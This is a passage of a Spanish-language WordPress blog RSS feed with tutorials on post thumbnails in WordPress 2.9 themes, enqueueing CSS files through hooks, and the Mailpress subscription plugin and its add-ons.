if ( function_exists( 'add_theme_support' ) ) { // A partir de la 2.9
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 50, 50, true ); // Especificamos el tamaño por defecto de los thumbnails
add_image_size( 'thumbnail-para-la-home', 400, 9999 ); // Especificamos un tamaño específico que se llamará 'single-post-thumbnail'
}
</pre>

Recordad que este código funcionará sólo con las nuevas imágenes subidas.

2.- Añadir el código para que se muestre la miniatura en la plantilla de WordPress:

Para añadir el código del thumbnail del post simplemente hay que añadir estas líneas, dejando abierta la opción por si el post no tiene imagen en miniatura o no está habilitada esta función:

<pre class="brush: php; title: ;">
if (function_exists('has_post_thumbnail') &amp;&amp; has_post_thumbnail() ) {
the_post_thumbnail();
} else {
// ejemplo de código adicional si no hay imagen en miniatura
$postimage = get_post_meta($post-&gt;ID, 'post-image', true);
if ($postimage) {
echo '&lt;img src=&quot;'.$postimage.'&quot; alt=&quot;&quot; /&gt;';
}
}

</pre>

Podemos pasarle como parámetro a la función <code class="php plain">the_post_thumbnail() el nombre del tamaño que queremos mostrar en pantalla. Por ejemplo, para obtener las miniaturas en los tamaños estandar de WordPress podemos usar 'thumbnail', 'medium' o 'large':
<pre class="brush: php; title: ;">the_post_thumbnail( 'medium');</pre></code>

También podemos usar los tamaños que hemos predefinido anteriormente en el fichero functions.php:
<pre class="brush: php; title: ;">the_post_thumbnail( 'thumbnail-para-la-home');</pre>

Para añadir un estilo específico, podemos usar la siguiente clase en nuestra css:
<pre class="brush: php; title: ;">
.wp-post-image {
border: 2px solid #ccc;
}
</pre>

3.- Controlar en detalle el código html del thumbnail del post

La función que pinta la imagen en miniatura del post acepta un array como segundo parámetro cuyos valores usará luego para construir la etiqueta img. Aunque hay algunos atributos, como el título de la imagen, que se crearán automáticamente a partir de los valores de los campos que se completaron cuando se incluyó la imagen como miniatura en el post. La versatilidad de esta función la podemos ver mejor con otro ejemplo de uso:
<pre class="brush: php; title: ;">
the_post_thumbnail('medium', array('class' =&gt; 'alignleft', 'alt' =&gt; 'alttext', 'title' =&gt; 'titletext'));
</pre>

4.- Añadir un thumbnail a los posts

Por último sólo queda configurar los posts para que muestren la imagen en miniatura en nuestra plantilla. Esto se logra accediendo a la edición de un post, y seleccionando la imagen a mostrar (o subiendo una nueva) en el enlace del administrador que aparece a la derecha justo debajo de las categorías.

También podemos especificar directamente que una imagen sea la imagen en miniatura, en la interfaz que nos muestra WordPress cuando estamos incluyendo la imagen en el post.

<img class="size-medium wp-image-736 alignright" title="uasMiniatura" src="http://onestic.com/wp-content/uploads/2010/01/uasMiniatura-300x126.png" alt="" width="300" height="126" /><a href="http://www.kremalicious.com/2009/12/wordpress-post-thumbnails/" target="_blank"></a><img class="alignleft size-full wp-image-742" title="miniaturaImagen" src="http://onestic.com/wp-content/uploads/2010/01/miniaturaImagen2.png" alt="" width="238" height="58" />
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 413px; width: 1px; height: 1px;">

<code class="php plain">&lt;?php</code>
<div class="line alt2">
<table border="0">
<tbody>
<tr>
<td class="number"><code>2</code></td>
<td class="content"><code class="php keyword">if</code> <code class="php plain">( has_post_thumbnail() ) {</code></td>
</tr>
</tbody>
</table>
</div>
<div class="line alt1">
<table border="0">
<tbody>
<tr>
<td class="number"><code>3</code></td>
<td class="content"><code class="spaces"> </code><code class="php comments">// the current post has a thumbnail</code></td>
</tr>
</tbody>
</table>
</div>
<div class="line alt2">
<table border="0">
<tbody>
<tr>
<td class="number"><code>4</code></td>
<td class="content"><code class="php plain">} </code><code class="php keyword">else</code> <code class="php plain">{</code></td>
</tr>
</tbody>
</table>
</div>
<div class="line alt1">
<table border="0">
<tbody>
<tr>
<td class="number"><code>5</code></td>
<td class="content"><code class="spaces"> </code><code class="php comments">// the current post lacks a thumbnail</code></td>
</tr>
</tbody>
</table>
</div>
<div class="line alt2">
<table border="0">
<tbody>
<tr>
<td class="number"><code>6</code></td>
<td class="content"><code class="php plain">}</code></td>
</tr>
</tbody>
</table>
</div>
<table border="0">
<tbody>
<tr>
<td class="number"><code>7</code></td>
<td class="content"><code class="php plain">?&gt;</code></td>
</tr>
</tbody>
</table>
</div>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/mostrar-los-thumbnails-de-los-posts-en-wordpress-2-9/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Como agregar correctamente CSS a WordPress</title>
		<link>http://onestic.com/agregar-correctamente-css-wordpress/</link>
		<comments>http://onestic.com/agregar-correctamente-css-wordpress/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 14:20:11 +0000</pubDate>
		<dc:creator>David Bolufer</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=611</guid>
		<description><![CDATA[En esta entrada intentaremos aportar un poco de luz a la mejor forma, a nuestro modo de ver, para incluir nuestros archivos CSS en WordPress tanto en nuestro tema como en nuestro. La gran mayoría agregáis vuestra CSS al tema directamente, o cuando desarrolláis un plugin lo incluís utilizando un código más o menos así: [...]]]></description>
			<content:encoded><![CDATA[En esta entrada intentaremos aportar un poco de luz a la mejor forma, a nuestro modo de ver, para incluir nuestros archivos CSS en <strong>WordPress</strong> tanto en nuestro tema como en nuestro.

La gran mayoría agregáis vuestra CSS al tema directamente, o cuando desarrolláis un plugin lo incluís utilizando un código más o menos así:

<pre class="brush: php; title: ;">
function on__style(){
    echo &quot;&lt;style type='text/css'&gt;
        .scroll_checkboxes {
            height: 400px;
            width: 400px;
            padding: 5px;
            overflow: auto;
            border: 1px solid #ccc
        }

            .scroll_checkboxes label{
                float: left;
                clear: both;
            }
            .form-table input[type=text]{ width: 400px }
    &lt;/style&gt;&quot;;
}
add_action('wp_head', 'on__style');
</pre>

Bueno, he puesto el caso peor haciendo la &#8220;guarrada&#8221; de no incluir nuestro código CSS en un archivo externo. El modo más limpio para hacerlo es a través un hook de WordPress que ejecuta dentro de la función wp_head(), este es <strong>wp_print_styles</strong>, podemos introducir el siguiente código en nuestro archivo functions.php del tema:

<pre class="brush: php; title: ;">
function on__style(){
    wp_enqueue_style('style-theme', get_bloginfo('stylesheet_url'), false, false, 'screen');
    wp_enqueue_style('960', get_bloginfo('template_url').'/_inc/css/960.css','style-theme');
    wp_enqueue_style('jquery-ui', get_bloginfo('template_url').'/_inc/css/jquery-ui.custom/ jquery-ui.custom.css','style-theme');
}
add_action('wp_print_styles', 'on__style');
</pre>

Con este código no tendremos que introducir ninguna referencia al CSS en el archivo header.php de nuestro tema, simplemente tenemos que asegurarnos que antes del cierre de la etiqueta llamamos a la función wp_head().

En el caso de estar desarrollando un plugin, este sería el código equivalente:

<pre class="brush: php; title: ;">
function on__widget_style(){
    $pluginDirComplete = plugin_basename(dirname(__FILE__));
    $pluginsWPDirComplete = basename(dirname(dirname(__FILE__)));

    $urlSite = get_settings('siteurl');
    $urlCSS = $urlSite . '/wp-content/'.$pluginsWPDirComplete.'/'.$pluginDirComplete.'/css/on-widget_style.css';

    wp_enqueue_style('on__traffsend', $urlCSS);
}
add_action('wp_print_styles', 'on__widget_style');
</pre>

Esto tiene un ventaja muy importante y es que podemos usar algún plugin para comprimir y unificar todos nuestros CSS en un único fichero mejorando sensiblemente la velocidad de carga y reduciendo la transferencia del servidor, pero esto, da para otro post en el futuro.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/agregar-correctamente-css-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mailpress. ¿Otro plugin más de suscripción?</title>
		<link>http://onestic.com/mailpress-%c2%bfotro-plugin-mas-de-suscripcion/</link>
		<comments>http://onestic.com/mailpress-%c2%bfotro-plugin-mas-de-suscripcion/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 08:31:08 +0000</pubDate>
		<dc:creator>Sergio Nieto</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=399</guid>
		<description><![CDATA[En los últimos desarrollos en WordPress que hemos hecho para nuestros clientes, hemos venido incorporando el plugin de suscripción para los usuarios Mailpress. En un principio sólo buscábamos un plugin que diese soporte a la suscripción por correo a los artículos de un blog, pero Mailpress no ofrece sólo eso. Mailpress presenta un completo sistema [...]]]></description>
			<content:encoded><![CDATA[En los últimos desarrollos en <strong>WordPress </strong>que hemos hecho para nuestros clientes, hemos venido incorporando el plugin de suscripción para los usuarios <a title="Página del plugin de Mailpress para WordPress" href="http://www.mailpress.org" target="_blank"><strong>Mailpress</strong></a>. En un principio sólo buscábamos un plugin que diese soporte a la suscripción por correo a los artículos de un blog, pero <strong>Mailpress </strong>no ofrece sólo eso.
<p style="text-align: center;"><a href="http://onestic.com/wp-content/uploads/2009/10/800px-Settings_general1.jpg"><img class="aligncenter size-large wp-image-419" title="captura de Mailpress" src="http://onestic.com/wp-content/uploads/2009/10/800px-Settings_general1-590x310.jpg" alt="captura de Mailpress" width="590" height="310" /></a></p>
Mailpress presenta un completo sistema de control de <span id="more-399"></span>suscripciones by mail, listas de correo, envíos por lotes, autoresponders, tracking de acciones sobre los correos enviados, etc. Además, si configuramos una plantilla con el estilo de nuestro blog, todos los correos de confirmación de cuenta, cambio de contraseña, etc, que se mandan desde <strong>WordPress </strong>tendrán ahora este nuevo estilo establecido desde <strong>Mailpress</strong>, manteniendo la imagen corporativa en la comunicación con los usuarios.

Y es que <strong>Mailpress </strong>se compone de un plugin principal, y distintos plugins a modo de addons que extienden la funcionalidad de este. Y son estos añadidos los que hacen que Mailpress ofrezca grandes posibilidades a la comunidad de <strong>WordPress</strong>. Os presentamos un listado de lo que están disponible a fecha de 08  de Octubre de 2009, con una breve explicación de su funcionalidad:
<ul>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Autoresponder" target="_blank"><strong>Autoresponder</strong></a>: Son correos redactados previamente (guardados como borrador), que serán enviados dependiendo de los eventos o acciones que realicen los usuarios (respuesta a un alta en la suscripción, a una baja, etc). Funciona con wp_cron.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Batch_send" target="_blank"><strong>Batch send</strong></a>: Permite configurar el envío por lotes de correos para grandes cantidades de usuarios, evitando saturar el servidor y que nos pueda perjudicar una identificación como posible spam.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Bounces" target="_blank"><strong>Bounces</strong></a>: Nos facilita la labor de control de los correos que no llegan a sus destinatarios.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Bulk_import" target="_blank"><strong>Bulk import</strong></a>: Añade un sencillo formulario en el listado de usuarios para introducir de forma rápida nuevos emails.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Filter_img" target="_blank"><strong>Filter img</strong></a>: Nos evita el dolor de cabeza que algunos clientes de correo como gmail o hotmail nos dan con su tratamiento de imágenes y css en los correos.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Form" target="_blank"><strong>Form</strong></a>: Incluye la creación de formularios para suscribirse, y poder así mandar diferentes mensajes personalizados.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Import" target="_blank"><strong>Import</strong></a>: Permite importar listas de correo en formato csv y xmlsample, y desde los plugins suscribe2 y suscribe to comments.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Mailinglist" target="_blank"><strong>Mailing list</strong></a>: Nos brinda la posibilidad de gestionar listas de correo.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Newsletter_categories" target="_blank"><strong>Newsletter categories</strong></a>: Añade una categorización sobre las suscripciones, permitiendo configurar la suscripción a cada tipo de contenido por post, día, semana, mes, etc.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Phpmail" target="_blank"><strong>Phpmail</strong></a>: Cambia el envío desde smtp a la función native de php mail.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Roles_and_capabilities" target="_blank"><strong>Roles and capabilities</strong></a>: Para configurar los permisos sobre Mailpress para cada rol de WordPress.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Sendmail" target="_blank"><strong>Sendmail</strong></a>: Cambia el envío de smtp a sendmail.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Sync_wordpress_user" target="_blank"><strong>Sync wordpress user</strong></a>: Sincroniza usuarios de wordpress y de Mailpress, y permite apuntarse a suscripciones desde el formulario de registro de wordpress.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Tracking" target="_blank"><strong>Tracking</strong></a>: Potentísima función que ofrece la posibilidad de realizar un seguimiento al detalle de las acciones que se realizan sobre los mails que enviamos con Mailpress.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:Upload_media" target="_blank"><strong>Upload media</strong></a>: Añade la opción de incorporar elementos multimedia a los correos, opción que no viene habilitado por defecto.</li>
	<li> <a href="http://www.mailpress.org/wiki/index.php?title=Add_ons:View_logs" target="_blank"><strong>View logs</strong></a>: Muestra de forma sencilla y sin salir del administrador los logs relacionados con Mailpress.</li>
</ul>
Más info en la página del plugin: <a title="Página del plugin de Mailpress para WordPress" href="http://www.mailpress.org" target="_blank">www.mailpress.org</a>

<strong>Actualización:</strong> Si queremos añadir el formulario de suscripción a nuestro <strong>WordPress</strong>, bien tenemos que añadir el widget de mailpress o bien pegar un código parecido a este en la parte que queramos de nuestra plantilla:

<pre class="brush: php; title: ;">
&lt;div class=&quot;modulo enlaces&quot;&gt;
    &lt;p class=&quot;tit-sidebar&quot;&gt;Suscríbete a nuestro boletín&lt;/p&gt;
    &lt;ul class=&quot;bloque&quot;&gt;
        &lt;?php if (class_exists('MailPress')) MailPress::form(array('urlsubmgt'=&gt;1, 'txtbutton' =&gt; 'Suscribirse', 'txtsubmgt' =&gt; 'Gestionar suscripción' )); ?&gt;
    &lt;/ul&gt;
&lt;/div&gt;
</pre>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/mailpress-%c2%bfotro-plugin-mas-de-suscripcion/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>

